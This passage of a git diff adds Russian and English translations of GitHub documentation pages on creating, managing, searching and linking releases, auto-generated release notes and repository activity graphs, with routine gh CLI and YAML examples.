выпуске можно также настроить с помощью меток, который позволяют создать пользовательские категории для упорядочения включаемых запросов на вытягивание. Кроме того, можно исключить определенные метки и пользователей из выходных данных. + +## Автоматическое создание заметок о выпуске для нового выпуска + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %} +3. Нажмите кнопку **Создать черновик нового выпуска**. + ![Кнопка для создания черновика выпуска](/assets/images/help/releases/draft_release_button.png) +4. {% ifversion fpt or ghec %}Щелкните **Выбрать тег** и введите{% else %}Введите{% endif %} номер версии для выпуска. Можно также выбрать существующий тег. + {% ifversion fpt or ghec %} ![Ввод тега](/assets/images/help/releases/releases-tag-create.png) +5. Если вы создаете тег, нажмите кнопку **Создать тег**. +![Подтверждение создания тега](/assets/images/help/releases/releases-tag-create-confirm.png) {% else %} ![Версия выпуска с тегом](/assets/images/enterprise/releases/releases-tag-version.png) {% endif %} +6. Если вы создали новый тег, в раскрывающемся меню выберите ветвь с проектом, который необходимо выпустить. + {% ifversion fpt or ghec %}![Выбор ветви](/assets/images/help/releases/releases-choose-branch.png) {% else %}![Ветви с тегом](/assets/images/enterprise/releases/releases-tag-branch.png) {% endif %} {%- data reusables.releases.previous-release-tag %} +7. В правом верхнем углу текстового поля описания щелкните {% ifversion previous-release-tag %}**Создать заметки о выпуске**{% else %}**Автоматически создать заметки о выпуске**{% endif %}.{% ifversion previous-release-tag %} ![Создать заметки о выпуске](/assets/images/help/releases/generate-release-notes.png){% else %} ![Автоматически создать заметки о выпуске](/assets/images/enterprise/3.5/releases/auto-generate-release-notes.png){% endif %} +8. Проверьте созданные заметки, чтобы убедиться в том, что они содержат все сведения, которые необходимо включить, и ничего лишнего. +9. Если в выпуск необходимо включить двоичные файлы, например скомпилированные программы, перетащите или вручную выберите файлы в области двоичных файлов. + ![Предоставление DMG с выпуском](/assets/images/help/releases/releases_adding_binary.gif) +10. Чтобы уведомить пользователей о том, что выпуск не готов к использованию в рабочей среде и может быть нестабильным, установите флажок **Это предварительный выпуск**. + ![Флажок, помечающий выпуск как предварительный](/assets/images/help/releases/prerelease_checkbox.png) {%- ifversion fpt or ghec %} +11. При необходимости установите флажок **Создать обсуждение для этого выпуска**, а затем в раскрывающемся меню **Категория** выберите категорию для обсуждения выпуска. + ![Флажок для создания обсуждения выпуска и раскрывающееся меню для выбора категории](/assets/images/help/releases/create-release-discussion.png) {%- endif %} +12. Если вы готовы опубликовать выпуск, нажмите кнопку **Опубликовать выпуск**. Чтобы продолжить работу с выпуском позже, нажмите кнопку **Сохранить черновик**. + ![Кнопки "Опубликовать выпуск" и "Сохранить черновик"](/assets/images/help/releases/release_buttons.png) + + +## Настройка автоматически созданных заметок о выпуске + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} +3. В поле имени файла введите `.github/release.yml`, чтобы создать файл `release.yml` в каталоге `.github`. + ![Создание файла](/assets/images/help/releases/release-yml.png) +4. Используя приведенные ниже параметры конфигурации, укажите в коде YAML файла метки запросов на вытягивание и авторов, которых следует исключить из этого выпуска. Вы также можете создать новые категории и перечислить метки запросов на вытягивание, которые должны быть включены в каждую из них. + +### Варианты настройки + +| Параметр | Описание | +| :- | :- | +| `changelog.exclude.labels` | Список меток, исключающих запрос на вытягивание из заметок о выпуске. | +| `changelog.exclude.authors` | Список дескрипторов входа пользователей или ботов, запросы на вытягивание которых должны быть исключены из заметок о выпуске. | +| `changelog.categories[*].title` | **Обязательный.** Название категории изменений в заметках о выпуске. | +| `changelog.categories[*].labels`| **Обязательный.** Метки, которые относят запрос на вытягивание к этой категории. Символу `*` будут соответствовать все запросы на вытягивание, которые не относятся ни к одной из предыдущих категорий. | +| `changelog.categories[*].exclude.labels` | Список меток, исключающих запрос на вытягивание из данной категории. | +| `changelog.categories[*].exclude.authors` | Список дескрипторов входа пользователей или ботов, запросы на вытягивание которых должны быть исключены из данной категории. | + +### Пример конфигурации + +{% raw %} +```yaml{:copy} +# .github/release.yml + +changelog: + exclude: + labels: + - ignore-for-release + authors: + - octocat + categories: + - title: Breaking Changes 🛠 + labels: + - Semver-Major + - breaking-change + - title: Exciting New Features 🎉 + labels: + - Semver-Minor + - enhancement + - title: Other Changes + labels: + - "*" +``` +{% endraw %} + +## Дополнительные материалы + +- [Управление метками](/issues/using-labels-and-milestones-to-track-work/managing-labels) diff --git a/translations/ru-RU/content/repositories/releasing-projects-on-github/automation-for-release-forms-with-query-parameters.md b/translations/ru-RU/content/repositories/releasing-projects-on-github/automation-for-release-forms-with-query-parameters.md new file mode 100644 index 000000000000..2a62ad791c4e --- /dev/null +++ b/translations/ru-RU/content/repositories/releasing-projects-on-github/automation-for-release-forms-with-query-parameters.md @@ -0,0 +1,42 @@ +--- +title: Автоматизация форм выпуска с параметрами запроса +intro: 'Чтобы быстро создавать выпуски путем автоматического заполнения новой формы выпуска настраиваемыми сведениями, можно добавить параметры запроса в URL-адрес страницы формы выпуска.' +redirect_from: + - /articles/automation-for-release-forms-with-query-parameters + - /github/administering-a-repository/automation-for-release-forms-with-query-parameters + - /github/administering-a-repository/releasing-projects-on-github/automation-for-release-forms-with-query-parameters +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Automate release forms +ms.openlocfilehash: 75c7fe4b79a6103060151742f1277861f23785c4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145193566' +--- +Параметры запроса — это необязательные части URL-адреса, которые можно настроить для совместного использования определенного представления веб-страницы, например результатов поиска с фильтрами, шаблона проблемы или страница формы выпуска на {% data variables.product.prodname_dotcom %}. Чтобы создать собственные параметры запроса, необходимо сопоставить пару ключа и значения. + +Чтобы использовать эквивалентный параметр запроса, необходимо иметь соответствующие разрешения для любого действия. Например, для предварительного заполнения формы выпусков необходимо разрешение на создание выпусков. Дополнительные сведения см. в разделе [Управление выпусками в репозитории](/github/administering-a-repository/managing-releases-in-a-repository). + +Если вы создаете недопустимый URL-адрес с параметрами запроса или у вас нет соответствующих разрешений, URL-адрес вернет страницу ошибки 404. + +## Поддерживаемые параметры запроса + +Параметр запроса | Пример +--- | --- +`tag` | `https://github.com/octo-org/octo-repo/releases/new?tag=v1.0.1` создает выпуск на основе тега "v1.0.1". +`target` | `https://github.com/octo-org/octo-repo/releases/new?target=release-1.0.1` создает выпуск на основе последней фиксации в ветви "release-1.0.1". +`title` | `https://github.com/octo-org/octo-repo/releases/new?tag=v1.0.1&title=octo-1.0.1` создает выпуск с именем "octo-1.0.1" на основе тега "v1.0.1". +`body` | `https://github.com/octo-org/octo-repo/releases/new?body=Adds+widgets+support` создает выпуск с описанием "Adds widget support" (Добавление поддержки мини-приложений) в тексте выпуска. +`prerelease` | `https://github.com/octo-org/octo-repo/releases/new?prerelease=1` создает выпуск, который будет определен как готовый к использованию в непроизводственной среде. + +## Дополнительные материалы + +- [Создание проблемы из запроса URL-адреса](/issues/tracking-your-work-with-issues/creating-an-issue#creating-an-issue-from-a-url-query) +- [Использование параметров запроса для создания запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request/) diff --git a/translations/ru-RU/content/repositories/releasing-projects-on-github/comparing-releases.md b/translations/ru-RU/content/repositories/releasing-projects-on-github/comparing-releases.md new file mode 100644 index 000000000000..c5d73399f685 --- /dev/null +++ b/translations/ru-RU/content/repositories/releasing-projects-on-github/comparing-releases.md @@ -0,0 +1,29 @@ +--- +title: Comparing releases +intro: You can compare release tags to see changes to your repository between different releases. +permissions: People with read access to a repository can view and compare releases. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +redirect_from: + - /github/administering-a-repository/comparing-releases + - /github/administering-a-repository/releasing-projects-on-github/comparing-releases +--- +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.releases %} +3. Next to the release you want to use as your base, click **Compare**. + {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %} + ![Compare release tags menu](/assets/images/help/releases/refreshed-compare-tags.png) + {% else %} + ![Compare release tags menu](/assets/images/help/releases/compare-tags-menu.png) + {% endif %} +4. Use the "Compare" drop-down menu and select the tags you want to compare. + {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %} + ![Compare release tags menu](/assets/images/help/releases/refreshed-compare-tags-menu-options.png) + {% else %} + ![Compare release tags menu options](/assets/images/help/releases/compare-tags-menu-options.png) + {% endif %} diff --git a/translations/ru-RU/content/repositories/releasing-projects-on-github/index.md b/translations/ru-RU/content/repositories/releasing-projects-on-github/index.md new file mode 100644 index 000000000000..1d83ef9a3812 --- /dev/null +++ b/translations/ru-RU/content/repositories/releasing-projects-on-github/index.md @@ -0,0 +1,32 @@ +--- +title: Выпуск проектов на GitHub +intro: 'Вы можете создать выпуск для упаковки программного обеспечения, заметок о выпуске, а также двоичные файлы для загрузки другими пользователями.' +redirect_from: + - /categories/85/articles + - /categories/releases + - /github/administering-a-repository/releasing-projects-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /about-releases + - /managing-releases-in-a-repository + - /viewing-your-repositorys-releases-and-tags + - /searching-a-repositorys-releases + - /linking-to-releases + - /comparing-releases + - /automatically-generated-release-notes + - /automation-for-release-forms-with-query-parameters +shortTitle: Release projects +ms.openlocfilehash: c55fa32c2b865d79b397a9d66c84273793300dcb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136673' +--- + diff --git a/translations/ru-RU/content/repositories/releasing-projects-on-github/linking-to-releases.md b/translations/ru-RU/content/repositories/releasing-projects-on-github/linking-to-releases.md new file mode 100644 index 000000000000..f2c870b63b3b --- /dev/null +++ b/translations/ru-RU/content/repositories/releasing-projects-on-github/linking-to-releases.md @@ -0,0 +1,30 @@ +--- +title: Linking to releases +intro: You can share every release you create on GitHub with a unique URL. +redirect_from: + - /articles/linking-to-releases + - /github/administering-a-repository/linking-to-releases + - /github/administering-a-repository/releasing-projects-on-github/linking-to-releases +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +--- +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.releases %} +3. To copy a unique URL to your clipboard, find the release you want to link to, right click the title, and copy the URL. +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %} + ![Release title](/assets/images/help/releases/release-title.png) +{% else %} + ![Release title](/assets/images/help/releases/release-title-old.png) +{% endif %} +1. Alternatively, right click **Latest Release** and copy the URL to share it. The suffix of this URL is always `/releases/latest`. + {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %} + ![Compare release tags menu](/assets/images/help/releases/refreshed-release-latest.png) + {% else %} + ![Latest release tag](/assets/images/help/releases/release_latest_release_tag.png) + {% endif %} +To link directly to a download of your latest release asset that was manually uploaded, link to `/owner/name/releases/latest/download/asset-name.zip`. diff --git a/translations/ru-RU/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md b/translations/ru-RU/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md new file mode 100644 index 000000000000..832a7ae04f99 --- /dev/null +++ b/translations/ru-RU/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md @@ -0,0 +1,175 @@ +--- +title: Managing releases in a repository +intro: You can create releases to bundle and deliver iterations of a project to users. +redirect_from: + - /articles/creating-releases + - /articles/listing-and-editing-releases + - /articles/editing-and-deleting-releases + - /articles/managing-releases-in-a-repository + - /github/administering-a-repository/creating-releases + - /github/administering-a-repository/editing-and-deleting-releases + - /github/administering-a-repository/managing-releases-in-a-repository + - /github/administering-a-repository/releasing-projects-on-github/managing-releases-in-a-repository +permissions: 'Repository collaborators and people with write access to a repository can create, edit, and delete a release.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Manage releases +--- +## About release management + +You can create new releases with release notes, @mentions of contributors, and links to binary files, as well as edit or delete existing releases. You can also create, modify, and delete releases by using the Releases API. For more information, see "[Releases](/rest/releases/releases)" in the REST API documentation. + +{% ifversion fpt or ghec %} +You can also publish an action from a specific release in {% data variables.product.prodname_marketplace %}. For more information, see "[Publishing an action in the {% data variables.product.prodname_marketplace %}](/actions/creating-actions/publishing-actions-in-github-marketplace)." + +You can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.product_name %} creates for each release. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)." +{% endif %} + +## Creating a release + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.releases %} +1. Click **Draft a new release**. + + {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}![Releases draft button](/assets/images/help/releases/draft-release-button-with-search.png){% else %}![Releases draft button](/assets/images/help/releases/draft_release_button.png){% endif %} +1. Click **Choose a tag**, type a version number for your release, and press **Enter**. Alternatively, select an existing tag. + + ![Enter a tag](/assets/images/help/releases/releases-tag-create.png) +1. If you are creating a new tag, click **Create new tag**. + + ![Screenshot of confirming you want to create a new tag](/assets/images/help/releases/releases-tag-create-confirm.png) + +1. If you have created a new tag, use the drop-down menu to select the branch that contains the project you want to release. + + + ![Screenshot of dropdown to choose a branch](/assets/images/help/releases/releases-choose-branch.png) + + + +{%- data reusables.releases.previous-release-tag %} +1. Type a title and description for your release. + {%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + If you @mention anyone in the description, the published release will include a **Contributors** section with an avatar list of all the mentioned users. + {%- endif %} + {% ifversion fpt or ghec or ghes > 3.3 %} Alternatively, you can automatically generate your release notes by clicking {% ifversion previous-release-tag %}**Generate release notes**{% else %}**Auto-generate release notes**{% endif %}.{% endif %}{% ifversion previous-release-tag %} + + ![Screenshot of the releases description](/assets/images/help/releases/releases_description_auto.png){% else %} + + ![Screenshot of the releases description](/assets/images/enterprise/3.5/releases/releases_description_auto.png){% endif %} + +1. Optionally, to include binary files such as compiled programs in your release, drag and drop or manually select files in the binaries box. + + ![Animated GIF of Providing a DMG with the Release](/assets/images/help/releases/releases_adding_binary.gif) + +1. To notify users that the release is not ready for production and may be unstable, select **This is a pre-release**. + + ![Screenshot of the checkbox to mark a release as prerelease](/assets/images/help/releases/prerelease_checkbox.png) + +{%- ifversion releases-set-latest-release %} +1. Optionally, you can select **Set as latest release**. If you do not select this option, the latest release label will automatically be assigned based on semantic versioning. + + ![Screenshot of the checkbox to mark a release as the latest release](/assets/images/help/releases/latest-release-checkbox.png) + +{%- endif %} +{%- ifversion discussions %} +1. Optionally, if {% data variables.product.prodname_discussions %} are enabled in the repository, select **Create a discussion for this release**, then select the **Category** drop-down menu and click a category for the release discussion. + + ![Screenshot of the checkbox to create a release discussion and drop-down menu to choose a category](/assets/images/help/releases/create-release-discussion.png) + +{%- endif %} +1. If you're ready to publicize your release, click **Publish release**. To work on the release later, click **Save draft**. + ![Publish release and Draft release buttons](/assets/images/help/releases/release_buttons.png) + + {%- ifversion fpt or ghec or ghae > 3.3 %} + You can then view your published or draft releases in the releases feed for your repository. For more information, see "[Screenshot of your repository's releases and tags](/github/administering-a-repository/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags)." + + {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %} + ![Published release with @mentioned contributors](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png) + {% else %} + ![Published release with @mentioned contributors](/assets/images/help/releases/releases-overview-with-contributors.png) + {% endif %} + {%- endif %} + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +1. To create a release, use the `gh release create` subcommand. Replace `tag` with the desired tag for the release. + + ```shell + gh release create TAG + ``` + +2. Follow the interactive prompts. Alternatively, you can specify arguments to skip these prompts. For more information about possible arguments, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_release_create). For example, this command creates a prerelease with the specified title and notes. + + ```shell + gh release create v1.3.2 --title "v1.3.2 (beta)" --notes "this is a beta release" --prerelease + ``` +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +If you @mention any {% data variables.product.product_name %} users in the notes, the published release on {% data variables.product.prodname_dotcom_the_website %} will include a **Contributors** section with an avatar list of all the mentioned users. +{% endif %} + +{% endcli %} + +## Editing a release + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.releases %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %} +3. On the right side of the page, next to the release you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}. + ![Edit a release](/assets/images/help/releases/edit-release-pencil.png) +{% else %} +3. On the right side of the page, next to the release you want to edit, click **Edit release**. + ![Edit a release](/assets/images/help/releases/edit-release.png) +{% endif %} +4. Edit the details for the release in the form, then click **Update release**.{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} If you add or remove any @mentions of GitHub users in the description, those users will be added or removed from the avatar list in the **Contributors** section of the release.{% endif %} + ![Update a release](/assets/images/help/releases/update-release.png) + +{% endwebui %} + +{% cli %} + +Releases cannot currently be edited with {% data variables.product.prodname_cli %}. + +{% endcli %} + +## Deleting a release + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.releases %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.3 %} +3. On the right side of the page, next to the release you want to delete, click {% octicon "trash" aria-label="The trash icon" %}. + ![Delete a release](/assets/images/help/releases/delete-release-trash.png) +{% else %} +3. Click the name of the release you wish to delete. + ![Link to view release](/assets/images/help/releases/release-name-link.png) +4. In the upper-right corner of the page, click **Delete**. + ![Delete release button](/assets/images/help/releases/delete-release.png) +{% endif %} +5. Click **Delete this release**. + ![Confirm delete release](/assets/images/help/releases/confirm-delete-release.png) + +{% endwebui %} + +{% cli %} + +1. To delete a release, use the `gh release delete` subcommand. Replace `tag` with the tag of the release to delete. Use the `-y` flag to skip confirmation. + + ```shell + gh release delete TAG -y + ``` + +{% endcli %} diff --git a/translations/ru-RU/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md b/translations/ru-RU/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md new file mode 100644 index 000000000000..e0d1df133859 --- /dev/null +++ b/translations/ru-RU/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md @@ -0,0 +1,37 @@ +--- +title: Поиск выпусков репозитория +intro: 'Для поиска определенных выпусков в репозитории можно использовать ключевые слова, теги и другие квалификаторы.' +permissions: Anyone with read access to a repository can search that repository's releases. +shortTitle: Searching releases +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '>= 3.4' +topics: + - Repositories +ms.openlocfilehash: a61e49521452befdcddf2724cad837062c7d54a1 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109655' +--- +## Поиск выпусков в репозитории + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %} +1. Чтобы найти выпуск репозитория, в поле поиска в верхней части страницы "Выпуски" введите запрос и нажмите клавишу **ВВОД**. +![Поле поиска выпусков](/assets/images/help/releases/search-releases.png) + +## Синтаксис поиска выпусков в репозитории + +Вы можете указать в поисковом запросе текст, который должен соответствовать заголовку, тексту или тегу выпусков репозитория. Вы также можете объединить следующие квалификаторы для конкретных выпусков. + +| Квалификатор | Пример +| ------------- | ------------- +| `draft:true` | **draft:true** — выводит только черновики выпусков. +| `draft:false` | **draft:false** — выводит только опубликованные выпуски. +| `prerelease:true` | **prerelease:true** — выводит только предварительные выпуски. +| `prerelease:false` | **prerelease:false** — выводит только выпуски, которые не являются предварительными. +| <code>tag:<em>TAG</em></code> | **tag:v1** соответствует выпуску с тегом v1 и любыми дополнительными версиями или исправлениями в версии 1, например v1.0, v1.2 и v1.2.5. +| <code>created:<em>DATE</em></code> | **created:2021** будет соответствовать выпускам, созданным в 2021 году. Можно также указать диапазон дат. Для получения дополнительной информации см. раздел [Основные сведения о различных ролях](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax#query-for-dates). diff --git a/translations/ru-RU/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md b/translations/ru-RU/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md new file mode 100644 index 000000000000..259c260046ca --- /dev/null +++ b/translations/ru-RU/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md @@ -0,0 +1,44 @@ +--- +title: Просмотр выпусков и тегов репозитория +intro: Вы можете просмотреть хронологический журнал репозитория по имени выпуска или номеру версии тега. +redirect_from: + - /articles/working-with-tags + - /articles/viewing-your-repositorys-tags + - /github/administering-a-repository/viewing-your-repositorys-tags + - /github/administering-a-repository/viewing-your-repositorys-releases-and-tags + - /github/administering-a-repository/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: View releases & tags +ms.openlocfilehash: c6cdad2626eb5b3260efd46a1d47dac499c73051 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145136634' +--- +{% tip %} + +**Совет**. Просмотреть выпуск можно также с помощью {% data variables.product.prodname_cli %}. Дополнительные сведения см. в разделе [`gh release view`](https://cli.github.com/manual/gh_release_view) в документации по {% data variables.product.prodname_cli %}. + +{% endtip %} + +## Просмотр выпусков + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %} +2. В верхней части страницы "Выпуски" щелкните **Выпуски**. + +## Просмотр тегов + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %} +2. В верхней части страницы "Выпуски" щелкните **Теги**. +![Страница "Теги"](/assets/images/help/releases/tags-list.png) + +## Дополнительные материалы + +- [Подписывание тегов](/articles/signing-tags) diff --git a/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md new file mode 100644 index 000000000000..55e245dd5fea --- /dev/null +++ b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md @@ -0,0 +1,37 @@ +--- +title: Сведения о графах репозитория +intro: Графы репозитория позволяют просматривать и анализировать данные для репозитория. +redirect_from: + - /articles/using-graphs + - /articles/about-repository-graphs + - /github/visualizing-repository-data-with-graphs/about-repository-graphs + - /github/visualizing-repository-data-with-graphs/accessing-basic-repository-data/about-repository-graphs +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +ms.openlocfilehash: a8e2b228e4729e0c86d0234aadc7f0eebab7d2d5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136631' +--- +Графы репозитория предоставляют сведения о {% ifversion fpt or ghec %} трафике, проектах, которые зависят от репозитория,{% endif %} участниках и фиксациях в репозитории, а также о вилках и сети репозитория. Если вы обслуживаете репозиторий, то с помощью этих данных можете лучше понять, кто использует репозиторий и зачем. + +{% ifversion fpt or ghec %} + +Некоторые графы репозитория доступны только в общедоступных репозиториях с {% data variables.product.prodname_free_user %}: +- Импульс +- Соавторы +- Трафик +- Фиксации +- Периодичность кода +- Сеть + +Все остальные графы репозитория доступны для всех репозиториев. Каждый граф репозитория доступен в общедоступных и частных репозиториях с {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %} и {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %} + +{% endif %} diff --git a/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content.md b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content.md new file mode 100644 index 000000000000..cdc48b1c5874 --- /dev/null +++ b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/analyzing-changes-to-a-repositorys-content.md @@ -0,0 +1,63 @@ +--- +title: Анализ изменений в содержимом репозитория +intro: 'Вы можете просмотреть изменения содержимого в репозитории, проанализировав фиксации репозитория, частоту фиксаций, а также операции добавления и удаления содержимого.' +product: '{% data reusables.gated-features.repository-insights %}' +redirect_from: + - /articles/visualizing-additions-and-deletions-to-content-in-a-repository + - /github/visualizing-repository-data-with-graphs/visualizing-additions-and-deletions-to-content-in-a-repository + - /articles/viewing-commit-frequency-in-a-repository + - /articles/analyzing-changes-to-a-repository-s-content + - /articles/analyzing-changes-to-a-repositorys-content + - /articles/visualizing-commits-in-a-repository + - /github/visualizing-repository-data-with-graphs/visualizing-commits-in-a-repository + - /github/visualizing-repository-data-with-graphs/analyzing-changes-to-a-repositorys-content + - /github/visualizing-repository-data-with-graphs/analyzing-changes-to-a-repositorys-content/visualizing-commits-in-a-repository + - /github/visualizing-repository-data-with-graphs/analyzing-changes-to-a-repositorys-content/visualizing-additions-and-deletions-to-content-in-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Analyze changes +ms.openlocfilehash: 7b6c9918b5d3de0fbae3b94fb8e90ece694a4076 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136628' +--- +## Визуализация фиксаций в репозитории + +Все фиксации, выполненные в репозитории за последний год (за исключением фиксаций слиянием), отображаются на диаграммах фиксаций. + +На верхней диаграмме показаны фиксации за весь год по неделям. + +![Годовая диаграмма фиксаций в репозитории](/assets/images/help/graphs/repo_commit_activity_year_graph.png) + +На нижней диаграмме показано среднее число фиксаций по дням недели за выбранную неделю. + +![Недельная диаграмма фиксаций в репозитории](/assets/images/help/graphs/repo_commit_activity_week_graph.png) + +### Доступ к диаграммам фиксаций + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} +3. На левой боковой панели выберите вкладку **Фиксации**. +![Вкладка "Фиксации"](/assets/images/help/graphs/commits_tab.png) + +## Визуализация добавления и удаления содержимого в репозитории + +На диаграмме периодичности кода отображаются добавления и удаления содержимого за каждую неделю в журнале репозитория. + +{% ifversion fpt or ghec %} + +![График частоты кода](/assets/images/help/graphs/repo_code_frequency_graph_dotcom.png) + +{% endif %} + +### Доступ к диаграмме периодичности кода + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.accessing-repository-graphs %} +3. На левой боковой панели выберите вкладку **Периодичность кода**. +![Вкладка "Периодичность кода"](/assets/images/help/graphs/code_frequency_tab.png) diff --git a/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/index.md b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/index.md new file mode 100644 index 000000000000..54fb72fdbb35 --- /dev/null +++ b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/index.md @@ -0,0 +1,33 @@ +--- +title: Просмотр действий и данных для репозитория +intro: 'Получите представление о репозитории, просмотрев действия и данные.' +redirect_from: + - /categories/44/articles + - /categories/graphs-and-contributions + - /categories/graphs + - /categories/visualizing-repository-data-with-graphs + - /github/visualizing-repository-data-with-graphs +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /viewing-deployment-activity-for-your-repository + - /about-repository-graphs + - /viewing-a-summary-of-repository-activity + - /viewing-traffic-to-a-repository + - /viewing-a-projects-contributors + - /analyzing-changes-to-a-repositorys-content + - /understanding-connections-between-repositories +shortTitle: View activity and data +ms.openlocfilehash: 93ee6e343390540cb05551f4f8cb888eebdf63e2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883436' +--- + diff --git a/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories.md b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories.md new file mode 100644 index 000000000000..320dab6c38b2 --- /dev/null +++ b/translations/ru-RU/content/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories.md @@ -0,0 +1,80 @@ +--- +title: Основные сведения о подключениях между репозиториями +intro: 'Вы сможете лучше понять подключения между репозиториями, просмотрев сеть репозитория и вилки, а также проекты, которые зависят от репозитория.' +product: '{% data reusables.gated-features.repository-insights %}' +redirect_from: + - /articles/viewing-a-repository-s-network + - /articles/viewing-a-repositorys-network + - /github/visualizing-repository-data-with-graphs/viewing-a-repositorys-network + - /articles/understanding-connections-between-repositories + - /articles/listing-the-forks-of-a-repository + - /github/visualizing-repository-data-with-graphs/listing-the-forks-of-a-repository + - /github/visualizing-repository-data-with-graphs/viewing-the-dependencies-of-a-repository + - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories + - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories/viewing-a-repositorys-network + - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories/listing-the-forks-of-a-repository + - /github/visualizing-repository-data-with-graphs/understanding-connections-between-repositories/viewing-the-dependencies-of-a-repository +versions: + fpt: '*' + 